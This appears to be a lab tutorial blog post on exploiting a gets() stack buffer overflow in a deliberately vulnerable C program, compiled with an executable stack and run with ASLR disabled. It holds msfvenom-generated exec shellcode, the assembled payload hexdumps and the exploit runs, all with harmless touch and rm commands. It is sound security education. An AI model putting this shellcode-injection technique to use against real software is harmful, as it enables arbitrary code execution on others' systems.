Shattering the stack (2)
This post builds upon the previous ones: Shattering the stack (1) where we got familiar with some basic buffer overflow exploits and the ASLR, and Diving into shellcodes (0) where we explored some simple shellcodes. Now we take a step further to execute arbitrary code in situations where the stack is executable. The source code is available here.
vulnerable code
We are using a slightly modified version of the previous C code which demonstrate a simple buffer overflow vulnerability (due to the use of the unsafe gets()
function). We increased the size of buff
from 10 to 100 bytes (so our shellcodes can fit) and added printf("%p\n", &buff);
to make our life easier when we determine where to jump (where our shellcode starts):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// gets() was removed from the C11 standard
char* gets(char* str);
int authenticate(void)
{
char buff[100];
char cmd[10];
int auth = 0;
printf("%p\n", &buff);
puts("enter the password:");
gets(buff);
if(strcmp(buff, "12345"))
{
puts("wrong password");
}
else
{
puts("correct password");
auth = 1;
}
if(auth)
{
puts("authenticated");
puts("your files:");
strcpy(cmd, "ls");
system(cmd);
}
return 0;
}
int main(void)
{
authenticate();
return 0;
}
void secret(void)
{
puts("secret found!");
}
exploit
Let’s compile and inspect the binary:
$ gcc lab/buffer-overflow/bof-server2.c -g -o build/bof-server-pie2 -fPIE -pie -fno-stack-protector -z execstack
...
$ readelf -l build/bof-server-pie2
Elf file type is DYN (Position-Independent Executable file)
Entry point 0x1090
There are 13 program headers, starting at offset 64
Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
...
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RWE 0x10
...
We added the -fno-stack-protector
and -z execstack
flags which resulted in an executable stack (RWE = Read + Write + Execute) without the stack protection security feature which would prevent stack buffer overflow attacks.
Now there are 2 things left to do, we need to generate our shellcode and assemble the whole payload. We generate 2 shellcodes, one to create the hidden file .tmpdata
. The shellcode should not contain \x0a
because it is the newline character and gets()
stops at newline. We could specify -b \x0a
to explicitly avoid this character but in my experience we might get broken shellcodes and without -b \x0a
we get good payloads (no newlines) most of the times.
$ msfconsole
...
msf6 > msfvenom -p linux/x64/exec CMD="touch .tmpdata" -b \x00 -f python
[*] exec: msfvenom -p linux/x64/exec CMD="touch .tmpdata" -b \x00 -f python
Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No badchars present in payload, skipping automatic encoding
No encoder specified, outputting raw payload
Payload size: 51 bytes
Final size of python file: 270 bytes
buf = b""
buf += b"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50"
buf += b"\x54\x5f\x52\x66\x68\x2d\x63\x54\x5e\x52\xe8\x0f"
buf += b"\x00\x00\x00\x74\x6f\x75\x63\x68\x20\x2e\x74\x6d"
buf += b"\x70\x64\x61\x74\x61\x00\x56\x57\x54\x5e\x6a\x3b"
buf += b"\x58\x0f\x05"
And an other one to remove the hidden file .tmpdata
:
$ msfconsole
...
msf6 > msfvenom -p linux/x64/exec CMD="rm .tmpdata" -b \x00 -f python
[*] exec: msfvenom -p linux/x64/exec CMD="rm .tmpdata" -b \x00 -f python
Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No badchars present in payload, skipping automatic encoding
No encoder specified, outputting raw payload
Payload size: 48 bytes
Final size of python file: 247 bytes
buf = b""
buf += b"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50"
buf += b"\x54\x5f\x52\x66\x68\x2d\x63\x54\x5e\x52\xe8\x0c"
buf += b"\x00\x00\x00\x72\x6d\x20\x2e\x74\x6d\x70\x64\x61"
buf += b"\x74\x61\x00\x56\x57\x54\x5e\x6a\x3b\x58\x0f\x05"
Before we start to assemble our payload, we need the offset of variable buff
relative to rbp
. This offset and the size of rbp
(8 bytes) will be the maximum size of our shellcode.
$ objdump -d build/bof-server-pie2
...
0000000000001179 <authenticate>:
1179: 55 push %rbp
...
11b2: 48 8d 45 90 lea -0x70(%rbp),%rax
11b6: 48 89 c7 mov %rax,%rdi
11b9: e8 b2 fe ff ff call 1070 <gets@plt>
...
As we can see the offset is 0x70.
We need the address of buff
as well which we use to overwrite the return address (our shellcode starts here). To make things simpler I added printf("%p\n", &buff);
to our POC code. We spawn a shell with ASLR disabled for simplicity also (ASLR makes exploiting the executable stack a lot more difficult by randomozing the addresses):
$ setarch `uname -m` -R /bin/bash
$ build/bof-server-pie2
0x7fffffffdc30
enter the password:
The whole payload contains:
- shellcode
- padding (if the shellcode size is less than 0x70 + 8 bytes)
- address of
buff
I implemented payload.py
to automate the payload generation and created 2 payloads:
$ hexdump -C payload-touch
00000000 48 b8 2f 62 69 6e 2f 73 68 00 99 50 54 5f 52 66 |H./bin/sh..PT_Rf|
00000010 68 2d 63 54 5e 52 e8 0f 00 00 00 74 6f 75 63 68 |h-cT^R.....touch|
00000020 20 2e 74 6d 70 64 61 74 61 00 56 57 54 5e 6a 3b | .tmpdata.VWT^j;|
00000030 58 0f 05 78 78 78 78 78 78 78 78 78 78 78 78 78 |X..xxxxxxxxxxxxx|
00000040 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 |xxxxxxxxxxxxxxxx|
*
00000070 78 78 78 78 78 78 78 78 30 dc ff ff ff 7f 00 00 |xxxxxxxx0.......|
00000080
$ hexdump -C payload-rm
00000000 48 b8 2f 62 69 6e 2f 73 68 00 99 50 54 5f 52 66 |H./bin/sh..PT_Rf|
00000010 68 2d 63 54 5e 52 e8 0c 00 00 00 72 6d 20 2e 74 |h-cT^R.....rm .t|
00000020 6d 70 64 61 74 61 00 56 57 54 5e 6a 3b 58 0f 05 |mpdata.VWT^j;X..|
00000030 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 |xxxxxxxxxxxxxxxx|
*
00000070 78 78 78 78 78 78 78 78 30 dc ff ff ff 7f 00 00 |xxxxxxxx0.......|
00000080
Now we can test our payloads:
$ setarch `uname -m` -R /bin/bash
$ ls -la
total 40
...
drwxr-xr-x. 1 gemesa gemesa 108 Dec 6 19:32 target
drwxr-xr-x. 1 gemesa gemesa 26 Nov 29 10:18 .vscode
$ build/bof-server-pie2 < lab/buffer-overflow/payload-touch
0x7fffffffdc30
enter the password:
wrong password
authenticated
your files:
arsenal build Cargo.lock Cargo.toml lab LICENSE Makefile notes README.md target
$ ls -la
total 40
...
drwxr-xr-x. 1 gemesa gemesa 108 Dec 6 19:32 target
-rw-r--r--. 1 gemesa gemesa 0 Dec 7 15:40 .tmpdata
drwxr-xr-x. 1 gemesa gemesa 26 Nov 29 10:18 .vscode
$ build/bof-server-pie2 < lab/buffer-overflow/payload-rm
0x7fffffffdc30
enter the password:
wrong password
authenticated
your files:
arsenal build Cargo.lock Cargo.toml lab LICENSE Makefile notes README.md target
$ ls -la
total 40
...
drwxr-xr-x. 1 gemesa gemesa 108 Dec 6 19:32 target
drwxr-xr-x. 1 gemesa gemesa 26 Nov 29 10:18 .vscode
Note that with gdb
the address of buff
might be different so we need to regenerate our payloads with payload.py
:
$ gdb build/bof-server-pie2
...
(gdb) p &buff
$1 = (char (*)[100]) 0x7fffffffdbd0
$ hexdump -C payload-touch
00000000 48 b8 2f 62 69 6e 2f 73 68 00 99 50 54 5f 52 66 |H./bin/sh..PT_Rf|
00000010 68 2d 63 54 5e 52 e8 0f 00 00 00 74 6f 75 63 68 |h-cT^R.....touch|
00000020 20 2e 74 6d 70 64 61 74 61 00 56 57 54 5e 6a 3b | .tmpdata.VWT^j;|
00000030 58 0f 05 78 78 78 78 78 78 78 78 78 78 78 78 78 |X..xxxxxxxxxxxxx|
00000040 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 |xxxxxxxxxxxxxxxx|
*
00000070 78 78 78 78 78 78 78 78 d0 db ff ff ff 7f 00 00 |xxxxxxxx........|
00000080
$ hexdump -C payload-rm
00000000 48 b8 2f 62 69 6e 2f 73 68 00 99 50 54 5f 52 66 |H./bin/sh..PT_Rf|
00000010 68 2d 63 54 5e 52 e8 0c 00 00 00 72 6d 20 2e 74 |h-cT^R.....rm .t|
00000020 6d 70 64 61 74 61 00 56 57 54 5e 6a 3b 58 0f 05 |mpdata.VWT^j;X..|
00000030 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 78 |xxxxxxxxxxxxxxxx|
*
00000070 78 78 78 78 78 78 78 78 d0 db ff ff ff 7f 00 00 |xxxxxxxx........|
00000080
Run with gdb
:
$ setarch `uname -m` -R /bin/bash
$ gdb build/bof-server-pie2
...
(gdb) r < lab/buffer-overflow/payload-touch
Starting program: /home/gemesa/git-repos/shadow-shell/build/bof-server-pie2 < lab/buffer-overflow/payload-touch
This GDB supports auto-downloading debuginfo from the following URLs:
<https://debuginfod.fedoraproject.org/>
Enable debuginfod for this session? (y or [n])
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
0x7fffffffdbd0
enter the password:
wrong password
authenticated
your files:
[Detaching after vfork from child process 193326]
arsenal build Cargo.lock Cargo.toml lab LICENSE Makefile notes README.md target
process 193323 is executing new program: /usr/bin/bash
Missing separate debuginfos, use: dnf debuginfo-install glibc-2.37-14.fc38.x86_64
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
process 193323 is executing new program: /usr/bin/touch
Missing separate debuginfos, use: dnf debuginfo-install bash-5.2.21-1.fc38.x86_64
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
[Inferior 1 (process 193323) exited normally]
Missing separate debuginfos, use: dnf debuginfo-install coreutils-9.1-12.fc38.x86_64
(gdb) exit
$ ls -la
total 40
...
drwxr-xr-x. 1 gemesa gemesa 108 Dec 6 19:32 target
-rw-r--r--. 1 gemesa gemesa 0 Dec 7 16:08 .tmpdata
drwxr-xr-x. 1 gemesa gemesa 26 Nov 29 10:18 .vscode
$ gdb build/bof-server-pie2
...
(gdb) r < lab/buffer-overflow/payload-rm
Starting program: /home/gemesa/git-repos/shadow-shell/build/bof-server-pie2 < lab/buffer-overflow/payload-rm
This GDB supports auto-downloading debuginfo from the following URLs:
<https://debuginfod.fedoraproject.org/>
Enable debuginfod for this session? (y or [n])
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
0x7fffffffdbd0
enter the password:
wrong password
authenticated
your files:
[Detaching after vfork from child process 193434]
arsenal build Cargo.lock Cargo.toml lab LICENSE Makefile notes README.md target
process 193431 is executing new program: /usr/bin/bash
Missing separate debuginfos, use: dnf debuginfo-install glibc-2.37-14.fc38.x86_64
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
process 193431 is executing new program: /usr/bin/rm
Missing separate debuginfos, use: dnf debuginfo-install bash-5.2.21-1.fc38.x86_64
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
[Inferior 1 (process 193431) exited normally]
Missing separate debuginfos, use: dnf debuginfo-install coreutils-9.1-12.fc38.x86_64
(gdb) exit
$ ls -la
total 40
...
drwxr-xr-x. 1 gemesa gemesa 108 Dec 6 19:32 target
drwxr-xr-x. 1 gemesa gemesa 26 Nov 29 10:18 .vscode
References: